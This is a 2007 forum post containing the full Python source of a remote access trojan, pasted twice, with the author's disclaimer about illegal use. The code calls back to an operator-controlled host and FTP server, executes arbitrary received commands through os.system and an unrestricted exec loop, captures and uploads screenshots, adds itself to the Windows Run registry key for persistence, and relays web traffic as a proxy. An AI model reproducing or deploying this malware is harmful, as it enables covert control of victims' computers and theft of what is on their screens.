Post by cyberh@zard on Dec 22, 2007 0:22:09 GMT -5
Script
#!/usr/bin/env python
# by grAp. aka Kolazomai
# !!! ATTENTION !!!
# I am not responsible for what you are doing with this source / software !!
# So do NOT do anything illegal with it! It's your own risk, if you do!
# Thanks for lookin into this Source-Code.
# Please tell me, if you contribute. Or you've compiled it in a nice way :-)
# Tested under WindowsXP SP2, Python2.4.2
# Should also work under Unix-Systems anyways
import ftplib
from ftplib import *
import os
import sys
import socket
# Get this Library from:
# www.pythonware.com/products/pil/
from PIL import ImageGrab
#================================
# Variables
#================================
# Edit this variables
ftp_server = "" # Add your ftp-Server
account = "" # Add your Account-name
password = "" # Add your Password
# Do NOT edit this variables, if you dont know
# what you're doing!
conn_to_host = None
conn_to_host_status = False
ip_of_me = None
ftp = FTP(ftp_server,account,password)
output = ".output.txt"
output_txt = file(".output.txt","a")
def ftp_connect(fileX=None):
try:
ftp.connect()
ftp.login(account,password)
try:
ftp.delete(fileX)
except:
pass
except:
sys.exit(1)
#================================
# Main - Class
#================================
class Main:
def __init__(self):
print "************************"
print "** Some Kind'a RAT **"
print "** Main Class :-) **"
print "************************"
# ---------------------------------------------
def start(self):
# Edit this to set your [install-]routine
# Get host and ip
self.ip_host = main.get_ip_and_host ()
# Connect to host
main.connect_to_host(self.ip_host[0],self.ip_host[1])
# ---------------------------------------------
def connect_to_host(self,host,port):
global conn_to_host,conn_to_host_status
# I will try direct connection
# Otherwise i will have to send it over some server
conn_to_host = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
# Try to connect to host ...
conn_to_host.connect((host,int(port)))
conn_to_host_status = True
# Send, that I'm ready to rumble :-)
conn_to_host.send("msg?Connection succesfully!")
conn_to_host.send("msg?Waiting for instructions...")
except:
# Connect and delete
ftp_connect(output)
# Upload new file
ftp.storlines("STOR "+output,output_txt)
# Close connection
ftp.close()
# -----------------------------------------------
def get_instructions(self):
# If direct connection does not work
# but I don't want to use this
# all the time :@
ftp_connect()
outfile = sys.stdout
ftp.retrlines("RETR .instructions.txt",lambda s,
w=outfile.write: w(s+"\n"))
outfile.close()
ftp.close()
# -----------------------------------------------
def get_ip_and_host(self):
# This will receive the host and ip-address
# So i can try a direct connection
# Connect to ftp
ftp_connect()
# Create outfile...
outfile = file("ip_and_host.txt","w")
# Get file with ip and port
ftp.retrlines("RETR .hostname.txt",lambda s,
w=outfile.write: w(s+"\n"))
# Close both ftp and file
ftp.close()
outfile.close()
# Read file and split information
self.ip_and_host = file("ip_and_host.txt","r")
self.read_ip = self.ip_and_host.read()
# self.read_ip = "<host>:<port>"
self.read_ip = self.read_ip.split("\n")
self.read_ip.remove("")
self.read_ip = self.read_ip[0].split(":")
# self.read_ip = ["<host>","<port>"]
# Close the file and remove it
self.ip_and_host.close()
os.remove("ip_and_host.txt")
# Return self.read_ip
return self.read_ip
# -----------------------------------------------
def get_cmd_and_exec(self):
self.cmd = conn_to_host.recv(100)
print self.cmd
if self.cmd[0:2] == "os":
command.make_os_cmd(self.cmd)
# -----------------------------------------------
def add_to_autostart(self):
# I will add it via some .reg to autostart
# Only add it, if it is a win32-System
# 1.) Create the .reg
self.reg = open("some.reg","w")
self.reg.write("Windows Registry Editor Version 5.00\n"+
"\n"+
"[HKEY_CURRENT_USER\\Software"+
"\\Microsoft\\Windows\\CurrentVersion\\Run]\n"+
"System-Managment="+
"\""+sys.argv[0]+"\"\n" # Our script
)
self.reg.close()
# 2. Add it to the Registry
os.system("regedit /s some.reg")
# 3. Delete the file
os.remove(" some.reg")
# Return succesfully
return 0
# -------------------------------------------------
# =======================================
# Class Commandos
# =======================================
class Commandos:
def __init__(self):
pass
# --------------------------------------------
def make_os_cmd(self,cmd):
# This is my class to execute cmds
if sys.platform == "win32":
os.system(cmd+" > x")
os.remove("x")
else:
# some kind'a other OS: e.g. linux-sys
os.system(cmd+" > x && rm -rf x")
# Return succesfully
return 0
# --------------------------------------------
def make_screenshot_and_upload(self):
self.screeny = ImageGrab.grab()
self.screeny.save("screen.png","PNG")
# 1.) Screenshot taken, now upload
# 1.1 ) Open the file
self.f = open("screen.png","rb")
# 1.2) Upload the file
ftp_connect("screen.png")
ftp.storbinary("STOR screen.png", self.f , 1024)
# 1.3) Close both file and ftp-connection
ftp.close()
self.f.close()
# 1.4) Delete the File
os.remove("screen.png")
# Return succesfully
return 0
# --------------------------------------------
def use_as_http_proxy(self,site,path):
# Via httplib it should be easy
import httplib
# Connect to page
self.conn = httplib.HTTPConnection(site)
# Get file
self.conn.request("GET", path)
self.req = self.conn.getresponse()
self.http_data = self.req.read ()
# Send it to host
# 1.1) Send, how big it is + 50 bytes for Security :-)
conn_to_host.send(len(self.http_data)+50)
# 1.2) Send the data
conn_to_host.send(self.http_data )
# Close the http-connection
self.conn.close()
# =====================================
# Init and start;-)
# =====================================
main = Main()
command = Commandos()
main.start()
# This crazy while-loop is really redicilous
# I don't like it :-(
# I will create some new function in Main for it soon
while 1:
command_to_exec = conn_to_host.recv(1000)
exec command_to_exec
# EoF
#!/usr/bin/env python
# by grAp. aka Kolazomai
# !!! ATTENTION !!!
# I am not responsible for what you are doing with this source / software !!
# So do NOT do anything illegal with it! It's your own risk, if you do!
# Thanks for lookin into this Source-Code.
# Please tell me, if you contribute. Or you've compiled it in a nice way :-)
# Tested under WindowsXP SP2, Python2.4.2
# Should also work under Unix-Systems anyways
import ftplib
from ftplib import *
import os
import sys
import socket
# Get this Library from:
# www.pythonware.com/products/pil/
from PIL import ImageGrab
#================================
# Variables
#================================
# Edit this variables
ftp_server = "" # Add your ftp-Server
account = "" # Add your Account-name
password = "" # Add your Password
# Do NOT edit this variables, if you dont know
# what you're doing!
conn_to_host = None
conn_to_host_status = False
ip_of_me = None
ftp = FTP(ftp_server,account,password)
output = ".output.txt"
output_txt = file(".output.txt","a")
def ftp_connect(fileX=None):
try:
ftp.connect()
ftp.login(account,password)
try:
ftp.delete(fileX)
except:
pass
except:
sys.exit(1)
#================================
# Main - Class
#================================
class Main:
def __init__(self):
print "************************"
print "** Some Kind'a RAT **"
print "** Main Class :-) **"
print "************************"
# ---------------------------------------------
def start(self):
# Edit this to set your [install-]routine
# Get host and ip
self.ip_host = main.get_ip_and_host ()
# Connect to host
main.connect_to_host(self.ip_host[0],self.ip_host[1])
# ---------------------------------------------
def connect_to_host(self,host,port):
global conn_to_host,conn_to_host_status
# I will try direct connection
# Otherwise i will have to send it over some server
conn_to_host = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
# Try to connect to host ...
conn_to_host.connect((host,int(port)))
conn_to_host_status = True
# Send, that I'm ready to rumble :-)
conn_to_host.send("msg?Connection succesfully!")
conn_to_host.send("msg?Waiting for instructions...")
except:
# Connect and delete
ftp_connect(output)
# Upload new file
ftp.storlines("STOR "+output,output_txt)
# Close connection
ftp.close()
# -----------------------------------------------
def get_instructions(self):
# If direct connection does not work
# but I don't want to use this
# all the time :@
ftp_connect()
outfile = sys.stdout
ftp.retrlines("RETR .instructions.txt",lambda s,
w=outfile.write: w(s+"\n"))
outfile.close()
ftp.close()
# -----------------------------------------------
def get_ip_and_host(self):
# This will receive the host and ip-address
# So i can try a direct connection
# Connect to ftp
ftp_connect()
# Create outfile...
outfile = file("ip_and_host.txt","w")
# Get file with ip and port
ftp.retrlines("RETR .hostname.txt",lambda s,
w=outfile.write: w(s+"\n"))
# Close both ftp and file
ftp.close()
outfile.close()
# Read file and split information
self.ip_and_host = file("ip_and_host.txt","r")
self.read_ip = self.ip_and_host.read()
# self.read_ip = "<host>:<port>"
self.read_ip = self.read_ip.split("\n")
self.read_ip.remove("")
self.read_ip = self.read_ip[0].split(":")
# self.read_ip = ["<host>","<port>"]
# Close the file and remove it
self.ip_and_host.close()
os.remove("ip_and_host.txt")
# Return self.read_ip
return self.read_ip
# -----------------------------------------------
def get_cmd_and_exec(self):
self.cmd = conn_to_host.recv(100)
print self.cmd
if self.cmd[0:2] == "os":
command.make_os_cmd(self.cmd)
# -----------------------------------------------
def add_to_autostart(self):
# I will add it via some .reg to autostart
# Only add it, if it is a win32-System
# 1.) Create the .reg
self.reg = open("some.reg","w")
self.reg.write("Windows Registry Editor Version 5.00\n"+
"\n"+
"[HKEY_CURRENT_USER\\Software"+
"\\Microsoft\\Windows\\CurrentVersion\\Run]\n"+
"System-Managment="+
"\""+sys.argv[0]+"\"\n" # Our script
)
self.reg.close()
# 2. Add it to the Registry
os.system("regedit /s some.reg")
# 3. Delete the file
os.remove(" some.reg")
# Return succesfully
return 0
# -------------------------------------------------
# =======================================
# Class Commandos
# =======================================
class Commandos:
def __init__(self):
pass
# --------------------------------------------
def make_os_cmd(self,cmd):
# This is my class to execute cmds
if sys.platform == "win32":
os.system(cmd+" > x")
os.remove("x")
else:
# some kind'a other OS: e.g. linux-sys
os.system(cmd+" > x && rm -rf x")
# Return succesfully
return 0
# --------------------------------------------
def make_screenshot_and_upload(self):
self.screeny = ImageGrab.grab()
self.screeny.save("screen.png","PNG")
# 1.) Screenshot taken, now upload
# 1.1 ) Open the file
self.f = open("screen.png","rb")
# 1.2) Upload the file
ftp_connect("screen.png")
ftp.storbinary("STOR screen.png", self.f , 1024)
# 1.3) Close both file and ftp-connection
ftp.close()
self.f.close()
# 1.4) Delete the File
os.remove("screen.png")
# Return succesfully
return 0
# --------------------------------------------
def use_as_http_proxy(self,site,path):
# Via httplib it should be easy
import httplib
# Connect to page
self.conn = httplib.HTTPConnection(site)
# Get file
self.conn.request("GET", path)
self.req = self.conn.getresponse()
self.http_data = self.req.read ()
# Send it to host
# 1.1) Send, how big it is + 50 bytes for Security :-)
conn_to_host.send(len(self.http_data)+50)
# 1.2) Send the data
conn_to_host.send(self.http_data )
# Close the http-connection
self.conn.close()
# =====================================
# Init and start;-)
# =====================================
main = Main()
command = Commandos()
main.start()
# This crazy while-loop is really redicilous
# I don't like it :-(
# I will create some new function in Main for it soon
while 1:
command_to_exec = conn_to_host.recv(1000)
exec command_to_exec
# EoF